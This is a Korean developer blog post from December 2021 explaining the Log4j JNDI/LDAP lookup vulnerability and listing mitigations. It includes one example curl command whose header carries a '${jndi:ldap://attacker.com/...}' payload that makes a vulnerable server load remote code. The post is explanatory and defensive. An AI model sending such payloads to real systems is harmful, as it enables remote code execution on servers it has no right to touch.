본문 바로가기
기타

Log4j 보안 취약점 사태

by 책 읽는 개발자_테드 2021. 12. 15.
반응형

Log4j란?

· 아파치 소프트웨어 재단의 자바 기반 로깅 프레임워크다.

· Logback과 더불어 자바의 대표적인 로깅 프레임워크다.

 

발견된 취약점

이 취약점은 Log4j의 JNDI, LDAP를 이용한다.

 

JNDI(Java Naming and Directory Interface)은 자바 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스다. 

 

LDAP(Lightweight Derectory Access Protocol)은 TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜이다.

 

Log4j에서는 편리하게 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재한다. 예를 들어 ${java:version} 명령어는 현재 실행 중인 Java 버전을 볼 수 있게 한다. 이러한 문법은 로그가 기록될 때도 사용이 가능하다. 여기서 문제가 발생했다.

 

자바 프로젝트에 다음과 같은 로그가 존재할 수 있다. 여기서 request는 HttpReqeust에서 요청자가 보낸 문자열이다. 

 

logger.info("Request User Agent:{}", request.getHeader("X-Api-Version"));

 

위 로그가 존재하는 경로로 다음과 같은 요청을 보낸다고 가정하자.

 

curl someserver.com/로깅이존재하는경로 -H 'X-Api-Version: ${jndi:ldap://attacker.com/classname}'

 

이때 Log4j는 문자열을 로깅만 하는 것이 아니라, attcker.com/classname의 객체를 실행하게된다.

 

해결 방안

1. 해당 버그가 수정된 Log4j 2.15.0 이상 버전의 log4j를 사용한다. 이것을 사용하려면, Java 8 이상 필요하다.

2.  Log4j 2.10.0 이상을 사용할 경우 Log4j의 Look UP 기능을 제한하는 설정을 추가한다. 다음 중 하나를 사용한다.

   - Java 실행 인자(Arguments)에 시스템 속성 추가: -Dlog4j2.formatMsgNoLookups=true

   - Java 실행 계정의 환경 변수 혹은 시스템 변수 추가: LOG4J_FORMAT_MSG_NO_LOOKUPS=true

3. Log4j 2.7.0 이상일 경우 Log4j 설정에서 PatternLaout 속성의 %m 부분을 %m{noloopups}로 교체한다.

4. 위 버전들 미만일 경우 JndiLoopup 클래스와 JndiManager 클래스를 읽지 못하도록 한다.

    log4j-cor.jar를 직접 필드하거나, 자바 프로젝트에 패키지명까지 맞춰가면서 dummy화 시킨다.

 

 

출처

https://cselabnotes.com/kr/2021/12/12/210/

https://namu.wiki/w/Log4j%20%EB%B3%B4%EC%95%88%20%EC%B7%A8%EC%95%BD%EC%A0%90%20%EC%82%AC%ED%83%9C

https://ko.wikipedia.org/wiki/LDAP

https://ko.wikipedia.org/wiki/JNDI

 

반응형

댓글